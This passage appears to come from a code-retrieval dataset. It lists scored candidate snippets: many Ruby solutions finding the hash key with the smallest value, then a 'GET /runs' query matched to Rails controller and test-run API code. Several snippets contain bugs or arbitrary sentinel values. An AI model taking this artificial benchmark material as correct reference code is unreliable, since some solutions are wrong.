"67fc803b393c9120086b050dd0ab8884", "score": "0.8282906", "text": "def key_for_min_value(name_hash)\n hash_num = 0\n lowest_hash_key = \"\"\n if name_hash == {}\n return\n end\n\n name_hash.collect do |key, value|\n if hash_num == 0\n hash_num = value\n lowest_hash_key = key\n elsif hash_num > value\n hash_num = value\n lowest_hash_key = key\n\n end\n end\n lowest_hash_key\nend", "title": "" }, { "docid": "fdcd20dc142920b8d4662027d722898e", "score": "0.82809645", "text": "def key_for_min_value(name_hash)\n lowest = 99999999\n if name_hash == {}\n nil\n else\n name_hash.collect do |key, value|\n if value < lowest\n lowest = value\n end\n end\n name_hash.key(lowest)\nend\nend", "title": "" }, { "docid": "5527b3ba0bcb7869fd27f7d5f7410ab3", "score": "0.8274177", "text": "def key_for_min_value(name_hash)\n smallest_value = 10000\n name_hash.each do |key, value|\n if value < smallest_value\n smallest_value = value\n end \n end\n smallest_value\n name_hash.key(smallest_value)\nend", "title": "" }, { "docid": "dd557f5393598205c4b2e991e2502023", "score": "0.82731414", "text": "def key_for_min_value(name_hash)\n smallestKey = nil\n smallestValue = 2000\n name_hash.collect do |item, num|\n if num < smallestValue\n smallestKey = item\n smallestValue = num\n end\n end\n smallestKey\nend", "title": "" }, { "docid": "f320036f51c62e20e03d41242df7e80a", "score": "0.8271422", "text": "def key_for_min_value(name_hash)\n\tsmallest_value = 0\n\tsmallest_value_key = nil\n\n\tname_hash.each_with_index do |(key, value), i|\n\t\tif i == 0\n\t\t\tsmallest_value = value\n\t\t\tsmallest_value_key = key\n\t\tend\n\t\tif smallest_value > value\n\t\t\tsmallest_value = value \n\t\t\tsmallest_value_key = key\n\t\tend\n\tend\n\tsmallest_value_key\nend", "title": "" }, { "docid": "793438733ebf3f09ab385967728f189c", "score": "0.82697445", "text": "def key_for_min_value(name_hash)\n key = nil\n num = nil\n name_hash.each do |name, value|\n if num == nil\n num = value\n key = name\n elsif value < num\n num = value\n key = name\n end\n end\n key\nend", "title": "" }, { "docid": "24cbce2787c5f157492fed1063e9b198", "score": "0.8269541", "text": "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n low_num = name_hash.first[1]\n low_key = name_hash.first[0]\n name_hash.each do |key, value|\n if value < low_num\n low_num = value\n low_key = key\n end\n end\n low_key \nend", "title": "" }, { "docid": "b393a616dc6eb0e638b2fec00be397be", "score": "0.8268981", "text": "def key_for_min_value(hash)\n lowest_value = nil\n lowest_key = nil\n\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value #so lowest_value == nil MUST be first, or else get argumentative error because cant compare value \"<\" nil argumentative error\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "328fe637744c9da882e74cca5dfcc629", "score": "0.82658297", "text": "def key_for_min_value(name_hash)\n values = name_hash.collect {|key, value| value}\n smallest = values[0]\n for value in values\n if value < smallest\n smallest = value\n end\n end\n name_hash.key(smallest)\nend", "title": "" }, { "docid": "85a8990a2d65a4a50cc41262330aac5c", "score": "0.82637393", "text": "def key_for_min_value(name_hash)\n if name_hash.size == 0\n return nil\n else\n smallest_key, smallest_key_num = name_hash.first\n name_hash.each do |key, num|\n if num < smallest_key_num\n smallest_key_num = num\n smallest_key = key\n end\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "91f6e33b3609ad60d72b88e544c0652c", "score": "0.8256297", "text": "def key_for_min_value(name_hash)\n smallest_value = 9999999999999\n smallest_key = nil\n name_hash.each do |element|\n if element[1]< smallest_value\n smallest_value = element[1]\n smallest_key = element[0]\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "9b4a41cb37c1a6c3ed4a06e13fc83c50", "score": "0.8255322", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value #lowest_value = nil in this part\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "ae712e1cd355755d634fa182a00e2eb7", "score": "0.8253581", "text": "def key_for_min_value(name_hash)\n \n lowest_number = 1000\n lowest_key = nil\n \n name_hash.each do |key, value|\n if value < lowest_number\n lowest_number = value \n lowest_key = key \n end\n end\n return lowest_key \nend", "title": "" }, { "docid": "8ff3186ed34716366ce4489b764b2196", "score": "0.82520384", "text": "def key_for_min_value(hash) \n\n min_value = 0\n min_key = 0\n \n if hash.empty?\n return nil\n end\n \n hash.each do |key, value|\n\n if min_value == 0 || value < min_value \n min_value = value\n min_key = key\n end\n end\n min_key\n\n \n \n\n\nend", "title": "" }, { "docid": "fea0eb5b81db16536604c58d63aeccff", "score": "0.8249414", "text": "def key_for_min_value(name_hash)\n smallest_key_value = 0\n desired_key = nil\n name_hash.each do |key, value|\n if value < smallest_key_value || smallest_key_value == 0\n smallest_key_value = value\n desired_key = key\n end\n end\n desired_key\nend", "title": "" }, { "docid": "54267f4b76ae17968e3673fcf95dd264", "score": "0.8248283", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\np lowest_key\nend", "title": "" }, { "docid": "d6a9f5ef7d887c611613c767f0e140fd", "score": "0.82467026", "text": "def key_for_min_value(hash)\n key2 = nil\n value2 = nil\n hash.collect do |key, value|\n if value2 == nil\n key2 = key\n value2 = value\n elsif value2 > value\n key2 = key\n value2 = value\n end\n end\n key2\nend", "title": "" }, { "docid": "88192afde83c8678ab9af58808ffd384", "score": "0.8244444", "text": "def key_for_min_value(name_hash)\n num = 0\n name_hash.each do |key,value|\n if num == 0\n num = value\n elsif value < num\n num = value\n end\n end\n name_hash.key(num)\nend", "title": "" }, { "docid": "c576f4496abe817d198d25ea16588771", "score": "0.82431597", "text": "def key_for_min_value(name_hash)\n lowest = 1000000\n lowest_item = nil\n name_hash.each do |item, value|\n if value < lowest\n lowest = value\n lowest_item = item\n end\n end\n lowest_item\nend", "title": "" }, { "docid": "fbdc95c4d6850f1cdcf75c33bed5ad62", "score": "0.8242797", "text": "def key_for_min_value(name_hash)\n lowest_value = find_lowest(name_hash)\n name_hash.key(lowest_value)\nend", "title": "" }, { "docid": "71429da2eb250413a3b57bdbde630ba8", "score": "0.8236601", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n return\n end\n val = 10000000000\n smallest_key = \"\"\n name_hash.collect do |key, value|\n if value < val\n smallest_key = key\n val = value\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "647eb140844a5332166368d3bcfecc8a", "score": "0.82361877", "text": "def key_for_min_value(name_hash)\n lowest = 0\n lowest_key = nil\n name_hash.each do |k, v|\n if lowest == 0\n lowest = v\n lowest_key = k\n elsif lowest > v\n lowest = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c38491fddaa2fe9b333d19f06c52525e", "score": "0.8231249", "text": "def key_for_min_value(hash)\n small = nil\n tiny = nil\n hash.each do |key, value|\n if tiny == nil || value < tiny\n tiny = value\n small = key\n end\n end\n small\nend", "title": "" }, { "docid": "7c062fa83e9059d43e1039279afbf733", "score": "0.82299", "text": "def key_for_min_value(name_hash)\n smallest_key=nil \n smallest_value=nil\n name_hash.each do |key, val|\n if smallest_key== nil||val<smallest_value\n smallest_value=val\n key=smallest_key= key\n end\n end\n\n smallest_key\n end", "title": "" }, { "docid": "97eae1a02a7297721cbdf2d1285d7425", "score": "0.82298553", "text": "def key_for_min_value(name_hash)\n hash_values = name_hash.collect {|key, value| value}\n least = hash_values[0]\n hash_values.each do |value| \n if value < least\n least = value\n end\n end\n name_hash.key(least)\nend", "title": "" }, { "docid": "7d7b08d498c532430b3c70f1f9c1c5f8", "score": "0.8229017", "text": "def key_for_min_value(name_hash)\n smallest_value = 0 \n smallest_key = nil \n name_hash.each do |key,value|\n if smallest_value == 0 || value < smallest_value\n smallest_value = value \n smallest_key = key \n end \n end\n smallest_key\nend", "title": "" }, { "docid": "0ec68a27d47bc14735c772b55f02ff92", "score": "0.8227539", "text": "def key_for_min_value(name_hash)\n return nil if name_hash.empty?\n lowest_value=99\n name_hash.each { |key,value|\n lowest_value = value unless lowest_value < value\n }\n name_hash.key(lowest_value)\nend", "title": "" }, { "docid": "bf221d5a2dee3eb005185f3bdfc2df65", "score": "0.8227272", "text": "def key_for_min_value(name_hash)\nlowest = 999999\nresult = nil\nname_hash.each do |key, value|\n if value < lowest\n result = key\n lowest = value\nend\n end\nresult\nend", "title": "" }, { "docid": "a20616bf7fc77d9ceb14bfb8a0c1d081", "score": "0.8226032", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n nil\n else\n small_value = nil\n small_key = nil\n name_hash.each do |name, num|\n if small_value == nil || num < small_value\n small_value = num\n small_key = name\n end\n end\n small_key\n end\nend", "title": "" }, { "docid": "6e808f0dbde08485fe8003dfbe0ae78d", "score": "0.822548", "text": "def key_for_min_value(hash)\n\n name, acc = hash.first\n\n if hash == {}\n nil\n else\n hash.each do |key, value|\n if value < acc\n acc = value\n name = key\n end\n end\n end\n name\nend", "title": "" }, { "docid": "8df01aa2faf978c607b835713ad334f8", "score": "0.822429", "text": "def key_for_min_value(name_hash)\nsmall_key = nil\n small_value = 9999\n name_hash.each do |key, value|\n if value < small_value \n small_value = value\n small_key = key\n end\n end\n small_key\n end", "title": "" }, { "docid": "0285361eac212bf1042b9aa8c81ed8f5", "score": "0.8218876", "text": "def key_for_min_value(h)\n\tmin = h.collect do |key, value|\n\t\tvalue\n\tend\n\tsmallest = min[0]\n\tcount = 0\n\twhile count < min.length\n\t\tmin.each_with_index do |num, index|\n\t\t\tif min[index] < min[count]\n\t\t\t\tsmallest = min[index]\n\t\t\tend\n\t\tend\n\t\tcount += 1\n\tend\n\th.index(smallest)\nend", "title": "" }, { "docid": "95e0ab7c417950b476dd8eebf6647f2b", "score": "0.82182467", "text": "def key_for_min_value(name_hash)\n value = nil\n select_key = nil\n\n name_hash.each do |key, num|\n if value == nil\n value = num\n select_key = key\n elsif num < value\n value = num\n select_key = key\n end\n end\n\n select_key\nend", "title": "" }, { "docid": "6795b9b3296b44c68a6c377481104209", "score": "0.8216734", "text": "def key_for_min_value(name_hash)\n low_value = 0\n name_hash.each do |key, value|\n if low_value == 0\n low_value = value\n elsif low_value < value\n else\n low_value = value\n end\n end\n low_value\n\n name_hash.key(low_value)\nend", "title": "" }, { "docid": "20383784bc7faed9218241bdf579d458", "score": "0.82164806", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n return nil\n end\n highest_value = 999999\n smallest_key = 0\n name_hash.collect do |key, value|\n if value < highest_value\n highest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "title": "" } ]
aae62fd372378a84867628ac9d9a0904
GET /runs GET /runs.json
[ { "docid": "2a0c43f3bdfda3459be169d537f29aa1", "score": "0.7372436", "text": "def index\n @runs = Run.all\n end", "title": "" } ]
[ { "docid": "1bc823f713576b94f27eb6e18044c4a1", "score": "0.8002509", "text": "def runs(project_id)\n get(\"get_runs/#{project_id}\")\n end", "title": "" }, { "docid": "49eeaa136034d58d0ea366f08d52070a", "score": "0.7854679", "text": "def runs_for_run_id(run_id)\n data = request(\"runs/#{run_id}\")\n data[\"runs\"]\n end", "title": "" }, { "docid": "394e45d5501b39ec004d0d952f8f2f86", "score": "0.7586896", "text": "def test_runs\n res_name = \"runs\"\n endpoint = \"projects/#{id}/runs\"\n\n configs = @client.get_api_request(endpoint, res_name)\n\n configs.map{|config|\n TestdroidApi::Client::Project::TestRun.new(@client, self, config)\n }\n end", "title": "" }, { "docid": "2d7f7b528e6313d43627cc216ff04365", "score": "0.7500748", "text": "def get_runs\n c = Net::HTTP.new(@host, @port)\n resp = c.get(\"/controller/listruns\")\n resp = resp.body\n lines = resp.split(\"\\n\")\n offset = 26\n runs = []\n while lines[offset].strip==\"<TR>\"\n offset = offset + 1\n id = strip_tags(lines[offset].strip).to_i\n start_time = strip_tags(lines[offset+1].strip)\n end_time = strip_tags(lines[offset+2].strip)\n units = strip_tags(lines[offset+3].strip).to_i\n assets = strip_tags(lines[offset+4].strip).to_i\n status = strip_tags(lines[offset+5].strip)\n action = strip_tags(lines[offset+6].strip)\n runs << Run.new(self, id, status, action, start_time, end_time, units, assets)\n offset = offset + 9\n end\n return runs\n end", "title": "" }, { "docid": "46632af59dff83955ce5dc8e11c66587", "score": "0.7221237", "text": "def runs\n get_runs.values\n end", "title": "" }, { "docid": "e7d3ca280d9a8c4c527eb7d6c54d1434", "score": "0.7170437", "text": "def show\n @run = current_user.runs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run }\n end\n end", "title": "" }, { "docid": "4ad44b728c2e6842287b29b8857ea538", "score": "0.70613813", "text": "def runs_all\n endpoint_urls = params[:endpoint_urls] || []\n submissions_created_after = params[:submissions_created_after]\n sequence_runs = params[:sequence_runs]\n dashboard = DashboardSequenceRunlist.new(endpoint_urls, submissions_created_after, sequence_runs)\n render json: dashboard.to_json, callback: params[:callback]\n end", "title": "" }, { "docid": "eed8e091d4380910e70c98697490605b", "score": "0.69978505", "text": "def get_runs(request)\n begin\n data, _status_code, _headers = get_runs_with_http_info(request)\n rescue ApiError => e\n if e.code == 401\n request_token\n data, _status_code, _headers = get_runs_with_http_info(request)\n else\n raise\n end\n end\n data\n end", "title": "" }, { "docid": "4d283baba819709002b58a05e740c70d", "score": "0.6944347", "text": "def index\n @runs = Run.order(:id).all\n end", "title": "" }, { "docid": "dea2ce21608b67784ffe002b627d983d", "score": "0.69094783", "text": "def index\n @runs = ::Run.all.order('id DESC').paginate(page: params[:page], per_page: 10)\n end", "title": "" }, { "docid": "854b15a02edf17bb85ed2bbf8ccbf0e4", "score": "0.6843403", "text": "def runs_for_route_id_and_type(route_id, route_type)\n data = request(\"runs/route/#{route_id}/route_type/#{route_type}\")\n data[\"runs\"]\n end", "title": "" }, { "docid": "af28f05e30b5b3163e1ac5d3d4fc8d97", "score": "0.6809359", "text": "def run_list\n json[:run_list] ||= []\n end", "title": "" }, { "docid": "ea4ab87605971cc1aa53eac481c95c84", "score": "0.6778633", "text": "def index\n if params[:user_id]\n user = User.find_by_login_or_id(params[:user_id])\n @runs = user.groups.collect{|g| g.run}.uniq\n elsif params[:curnit_id]\n @runs = Curnit.find_by_name_or_id(params[:curnit_id]).runs\n else params[:run_id]\n @runs = Run.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @runs }\n format.json { render :json => @runs }\n end\n end", "title": "" }, { "docid": "6e536c0cbf8ad1e24891601531e74058", "score": "0.67568517", "text": "def show\n @run = Run.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run }\n end\n end", "title": "" }, { "docid": "6e536c0cbf8ad1e24891601531e74058", "score": "0.67568517", "text": "def show\n @run = Run.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run }\n end\n end", "title": "" }, { "docid": "6e536c0cbf8ad1e24891601531e74058", "score": "0.67568517", "text": "def show\n @run = Run.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run }\n end\n end", "title": "" }, { "docid": "0bed998d0b5fe7bb070dc4a2f2dbfb88", "score": "0.6747236", "text": "def index\n @tezt_runs = TeztRun.all\n end", "title": "" }, { "docid": "626275611ae72828343c4a97d678cca0", "score": "0.6679669", "text": "def index\n @runs = Run.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @runs }\n end\n end", "title": "" }, { "docid": "294765c61d4767991c7c29c2c2fb380a", "score": "0.66371053", "text": "def runs\n\t\trun_list.values\n\tend", "title": "" }, { "docid": "a81989f0745ef0526162148eff7ae2cd", "score": "0.66197085", "text": "def show\n render json: @run\n end", "title": "" }, { "docid": "cccb71b6e6f8cf1d0e31989e18ba4957", "score": "0.6600888", "text": "def index\n @test_runs = TestRun.all\n end", "title": "" }, { "docid": "501be65eae1b7381b33f1e269a8f9613", "score": "0.6578706", "text": "def index\n @runs = current_user.runs.as_json\n @runs.each do |obj|\n begin\n coord = JSON.parse(obj['coordinates'])\n obj['real_coordinates'] = coord\n rescue JSON::ParserError => e\n logger.error(\"Could not parse, coordinates for run #{obj['id']}\")\n end\n end\n render :json => { runs: @runs, status: :ok }\n end", "title": "" }, { "docid": "5717d64fb2ee65d1af328881fc2116c7", "score": "0.6574051", "text": "def runs(credentials = nil)\n get_runs(credentials).values\n end", "title": "" }, { "docid": "5717d64fb2ee65d1af328881fc2116c7", "score": "0.6574051", "text": "def runs(credentials = nil)\n get_runs(credentials).values\n end", "title": "" }, { "docid": "b736f1282f6c52234f120332536f2668", "score": "0.657263", "text": "def index\n @run_stats = RunStat.all\n end", "title": "" }, { "docid": "801b2e306d7c385fdcc85ad071545fd8", "score": "0.6560161", "text": "def index\n @active_runs = ActiveRun.all\n end", "title": "" }, { "docid": "6f16b497a2d603e1cd738848aa2a31ad", "score": "0.65441984", "text": "def fetch\n fetch_and_save_runs(list_all_runs())\n end", "title": "" }, { "docid": "5e300241a743903ea151392c77d1c742", "score": "0.65417254", "text": "def list_all_runs\n page = 1\n runs = []\n\n begin\n @logger.info(\"Fetching activities page #{page}...\")\n acts = @client.list_athlete_activities(per_page: 100, page: page)\n only_runs = acts.reject { |act| act['type'] != 'Run' }\n runs += only_runs\n page += 1\n end until acts.length == 0\n\n return runs\n end", "title": "" }, { "docid": "e07b4e530453692d0f60e601b3e0834e", "score": "0.6524783", "text": "def results_for_run(run_id)\n get(\"get_results_for_run/#{run_id}\")\n end", "title": "" }, { "docid": "16e6c25f1fe393e20784b10b98094bee", "score": "0.65153444", "text": "def index\n @runs = Run.where(user: current_user).order('id DESC').paginate(page: params[:page], per_page: 10)\n end", "title": "" }, { "docid": "043ca1b971a46e6ff7213294f445fdb0", "score": "0.6492999", "text": "def show(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_runs/#{id}\", :get) do |req|\n req.params = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "title": "" }, { "docid": "3fdb98d6021ffed8383901399d8870e9", "score": "0.64016366", "text": "def runs(application_id: nil, pipeline_id: nil, params: {})\n if application_id\n params[:applicationId] = application_id\n elsif pipeline_id\n params[:pipelineId] = pipeline_id\n end\n request build_get_request(Run::INDEX[api_version], params), RunCollection\n end", "title": "" }, { "docid": "dbf21903b9f537b9d084a36af8112538", "score": "0.63896155", "text": "def index\n @test_suite = TestSuite.find(params[:test_suite_id])\n @test_suite_runs = @test_suite.test_suite_runs\n end", "title": "" }, { "docid": "3e6efd5633cd532ef2cadad544ce4825", "score": "0.6378576", "text": "def run(run_id)\n request build_get_request(Run::SHOW[api_version, run_id]), Run\n end", "title": "" }, { "docid": "c5ee2be0aadf4231ef6fd5e7a4a346ea", "score": "0.63756865", "text": "def get_run(run_id)\n testrail_api_client.send_get(\"get_run/#{run_id}\")\n end", "title": "" }, { "docid": "961af92db349da03d18ffd26b596ebd3", "score": "0.6363013", "text": "def get_run(args)\n run_id = args[:run_id] or raise \"Missing run id ( :run_id => 1)\"\n\n result = get('get_run', [run_id])\n TestRail::Run.new(result.merge({ :api => self }))\n end", "title": "" }, { "docid": "7f671cc280c889345a80f25408c0b8a4", "score": "0.6341815", "text": "def runner(id)\n get(\"/runners/#{id}\")\n end", "title": "" }, { "docid": "7f671cc280c889345a80f25408c0b8a4", "score": "0.6341815", "text": "def runner(id)\n get(\"/runners/#{id}\")\n end", "title": "" }, { "docid": "13a13b18423fff592f99b5d164732b9c", "score": "0.63400126", "text": "def index #mapped as a GET request to the index.html.erb file\n @runners = Runner.all \n\n end", "title": "" }, { "docid": "86c5e83f0b641b578ba9d6fc19c15c22", "score": "0.6316939", "text": "def device_runs\n res_name = \"deviceRuns\"\n endpoint = \"projects/#{@project_id}/runs/#{id}/device-runs\"\n\n results = @client.get_api_request(endpoint, res_name)\n results.map{|device_run|\n TestdroidApi::Client::Project::TestRun::DeviceRun.new(@client, self, device_run)\n }\n end", "title": "" }, { "docid": "c21c3c1922ef58e2d00287ccc7be08b5", "score": "0.62839895", "text": "def runes_by_ids(ids)\n request_url + \"/\" + ids + \"/runes\" \n end", "title": "" }, { "docid": "13802d16a80d231eaf51f9eab233c6d4", "score": "0.628266", "text": "def runs=(value)\n @runs = value\n end", "title": "" }, { "docid": "97bb8a9527c8c50620acf75a5fb163f7", "score": "0.628236", "text": "def runs\n return @runs\n end", "title": "" }, { "docid": "b07527b615b1d3bd13e6490916d1876f", "score": "0.62333477", "text": "def index\n @runs = current_user.groups.map { |group| Run.where(group_id: group.id) }.flatten unless current_user.nil?\n end", "title": "" }, { "docid": "df6062d8f9512bc7214f9b2859b50760", "score": "0.6232637", "text": "def show\n @runit = Runit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @runit }\n end\n end", "title": "" }, { "docid": "26762fbaa9c3fdb5c6d8f9a1c3999eab", "score": "0.6217351", "text": "def index\n @runners = Runner.all\n end", "title": "" }, { "docid": "702538dfd0784413dff56d6d9a06c885", "score": "0.6208051", "text": "def new_run\n c = Net::HTTP.new(@host, @port)\n resp = c.get(\"/controller/newrun\")\n sleep 5\n return get_runs.last\n end", "title": "" }, { "docid": "e0744d7c6d0d561d60518a305a7cbe6c", "score": "0.6194908", "text": "def list\n system %{\n gh api \"repos/{owner}/{repo}/actions/runs?branch=#{branch_name}&per_page=75\" |\n jq -r '\n [\"STATUS\", \"CONCLUSION\", \"MESSAGE\", \"EVENT\", \"ID\", \"CREATED\"],\n (.workflow_runs[] | select(.name == \"#{WORKFLOW}\") | [.status, .conclusion // \"-\", (.head_commit | .message)[0:25], .event, .id, .created_at]) |\n @tsv\n ' |\n column -ts $'\\t' |\n head -11\n }\n end", "title": "" }, { "docid": "d7f630b7973a06af7c7a946ba0fc0cdb", "score": "0.6171335", "text": "def index\n @submission_runs = SubmissionRun.all\n end", "title": "" }, { "docid": "ba467f636042929e974126905dec7048", "score": "0.61483836", "text": "def get_tests_in_a_run(run_id)\n testrail_api_client.send_get(\"get_tests/#{run_id}\")\n end", "title": "" }, { "docid": "2e02f3f7d775592014552bffc8329428", "score": "0.6119136", "text": "def show\n @run = Run.find(params[:id])\n end", "title": "" }, { "docid": "02e42f37a11533633ed0fddcbb8c74d2", "score": "0.6105743", "text": "def list_runs(inspector)\n report = []\n inspector.list_assessment_runs({max_results:999})[0].each {|n| inspector.describe_assessment_runs({ assessment_run_arns: [n]})[0].each { |run| report << run} }\n return report\nend", "title": "" }, { "docid": "58a1b8607c1bcd38cce6adcca703aac0", "score": "0.610148", "text": "def workflow_run(repo, id, options = {})\n get \"#{Repository.path repo}/actions/runs/#{id}\", options\n end", "title": "" }, { "docid": "062202b21e4ab3382bbb16ccc7dcca36", "score": "0.6092164", "text": "def show\n @runner = Runner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @runner }\n end\n end", "title": "" }, { "docid": "01fc582fcc3ec414c7915e75de7b51fe", "score": "0.6074681", "text": "def test_runs(reliable:)\n puts(\"Fetching data on #{reliable ? 'reliable ' : ''}test execution for past #{range} days\\n\".colorize(:green))\n\n all_runs = query_api.query(query: query(reliable)).values\n all_runs.each_with_object(Hash.new { |hsh, key| hsh[key] = {} }) do |table, result|\n records = table.records.sort_by { |record| record.values[\"_time\"] }\n # skip specs that executed less time than defined by range or stopped executing before report date\n # offset 1 day due to how schedulers are configured and first run can be 1 day later\n next if (Date.today - Date.parse(records.first.values[\"_time\"])).to_i < (range - 1)\n next if (Date.today - Date.parse(records.last.values[\"_time\"])).to_i > 1\n\n last_record = records.last.values\n name = last_record[\"name\"]\n file = last_record[\"file_path\"].split(\"/\").last\n stage = last_record[\"stage\"] || \"unknown\"\n\n runs = records.count\n failed = records.count { |r| r.values[\"status\"] == \"failed\" }\n failure_rate = (failed.to_f / runs.to_f) * 100\n\n result[stage][name] = {\n file: file,\n runs: runs,\n failed: failed,\n failure_rate: failure_rate == 0 ? failure_rate.round(0) : failure_rate.round(2)\n }\n end\n end", "title": "" }, { "docid": "862fc083c3946bf3b739e1f5d8b12e1c", "score": "0.60717", "text": "def runner(runner)\n get(\"/runners/#{runner}\")\n end", "title": "" }, { "docid": "2989ec488c9b4ce018943c4add1517b5", "score": "0.6068295", "text": "def show\n @run = Run.find_by_name_or_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @run }\n format.json { render :json => @run }\n end\n end", "title": "" }, { "docid": "b7da48ac3009430f14e612a42fa7ae49", "score": "0.60593754", "text": "def get_runs_online(request)\n begin\n data, _status_code, _headers = get_runs_online_with_http_info(request)\n rescue ApiError => e\n if e.code == 401\n request_token\n data, _status_code, _headers = get_runs_online_with_http_info(request)\n else\n raise\n end\n end\n data\n end", "title": "" }, { "docid": "849b26a0269d1cc03637956a137566e0", "score": "0.60254765", "text": "def project_runners(project)\n get(\"/projects/#{project}/runners\")\n end", "title": "" }, { "docid": "35362f12ae23bc9a7b50a1df882afefe", "score": "0.6023245", "text": "def index\n @run_histories = RunHistory.all\n end", "title": "" }, { "docid": "0bf86dd7301e2f05cce8ca63aac3f789", "score": "0.601974", "text": "def executions\n if @json\n url = @json['schedule']['links']['executions']\n res = GoodData.get url\n res['executions']['items']\n end\n end", "title": "" }, { "docid": "7b3411a3ca98a9eb5d8734737df8102d", "score": "0.6007792", "text": "def show\n @run = Run.find(params[:id])\n render @run\n end", "title": "" }, { "docid": "c74c3555a124a8c573daf8d4951d8dc1", "score": "0.5982556", "text": "def crons\n\t\trespond_to do |format|\n\t\t\tformat.json do \n\t\t\t\trender :json => {crons: Logs::Log.get_crons, status: 200}\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "26d954aa6cab231dcc6941b1f5ae4e01", "score": "0.596213", "text": "def test_runs\n all(QTest::TestRun, project: @project.id, test_suite: @id)\n end", "title": "" }, { "docid": "8d3554bdafe4bde0eeb2a4d59d98ce8c", "score": "0.5958179", "text": "def index\n if params[:format].nil? or params[:format] == 'html'\n @iteration = params[:iteration][/\\d+/] rescue 1\n @runs = Run.sorted_order(\"#{sort_column} #{sort_direction}\").search(params[:search]).paginate :page => params[:page]\n else # Allow url queries of data, with scopes, only xml & csv ( & json? )\n @runs = Run.api_search(params)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.xml { render :xml => @runs }\n format.csv { render :csv => @runs }\n format.json { render :json => @runs }\n end\n end", "title": "" }, { "docid": "b9641331dc298c7971af66331547347c", "score": "0.5952193", "text": "def show\n @task_run = TaskRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_run }\n end\n end", "title": "" }, { "docid": "eb75a8181c8d0bbdb15a3b7106d23803", "score": "0.59485924", "text": "def runs(build)\n path = URI(build[\"url\"]).path\n job_name = File.basename(File.dirname(path))\n build_number = File.basename(path).to_i\n runs = fetch_runs(job_name, build_number)\n # Ridiculously, things get added into our matrix that aren't ours\n runs.select! { |run| parse_run_url(run[\"url\"])[1] == build_number }\n runs.map! { |run| normalize_run(run) }\n runs.sort_by { |run| run[\"configuration\"] }\n end", "title": "" }, { "docid": "c37390b6716cb35714fd75c8fc8ca38b", "score": "0.5944598", "text": "def runs\n total_runs\n end", "title": "" }, { "docid": "82db5bf9fb030a85038a2cb0605b1ac8", "score": "0.59308404", "text": "def create\n @run = Run.new(run_params)\n current_user.runs << @run\n\n if @run.save\n render json: @run, status: :created\n else\n render json: @run.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ef11f7cab4024fb1709efb52435ce297", "score": "0.5929906", "text": "def runs\n @runs ||= box_score.fetch(:runs) { [] }[0].to_i\n end", "title": "" }, { "docid": "4ee96918fa06f3ff64db49e77890d4e7", "score": "0.5928581", "text": "def find_run\n if Run.where(:id => params[:id]).blank?\n respond_to do |format|\n flash[:error] = 'The run you are looking for does not exist.'\n format.html { redirect_to runs_path }\n format.json { render :nothing => true, :status => \"404\" }\n end\n else\n @run = Run.find(params[:id])\n end\n end", "title": "" }, { "docid": "4ee96918fa06f3ff64db49e77890d4e7", "score": "0.5928581", "text": "def find_run\n if Run.where(:id => params[:id]).blank?\n respond_to do |format|\n flash[:error] = 'The run you are looking for does not exist.'\n format.html { redirect_to runs_path }\n format.json { render :nothing => true, :status => \"404\" }\n end\n else\n @run = Run.find(params[:id])\n end\n end", "title": "" }, { "docid": "58378bbaea9b42583f903fa3a96ac794", "score": "0.5919247", "text": "def show\n @run = Run.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @run }\n format.csv { render :csv => @run }\n format.json { render :json => @run }\n end\n end", "title": "" }, { "docid": "86f93537d0906fbc8f8dc649074b32d7", "score": "0.5915159", "text": "def index\n @runs = Run\n .own(current_user)\n .filter(params.slice(:type))\n .includes(:run_type)\n @grouped = @runs.group_by { |r| \"#{r.date.strftime('%B %Y')}\" }\n end", "title": "" }, { "docid": "2e2683e5b3513ef8158216cee4b8c14c", "score": "0.5911977", "text": "def index\n @runner_tasks = RunnerTask.all\n end", "title": "" }, { "docid": "38accfba1fe38fd996e077b68dc42135", "score": "0.5885663", "text": "def show\n @test_suite = TestSuite.find(params[:test_suite_id])\n @test_suite_runs = @test_suite.test_suite_runs.find(params[:id])\n end", "title": "" }, { "docid": "42fd3f3f424384fd9ae688eed06e10bb", "score": "0.58800197", "text": "def dashboard1\n if (@runs.size > 0)\n# @latestRun = Testrun.first(order: 'created_at DESC')\n @latestRun = Testrun.find(params[:testrunId])\n @totalcases = @latestRun.testresults.count\n @passed = @latestRun.testresults.find(:all, :conditions => [\"status = ? \", \"Passed\"])\n @pending = @latestRun.testresults.find(:all, :conditions => [\"status = ? \", \"Pending\"])\n @failed = 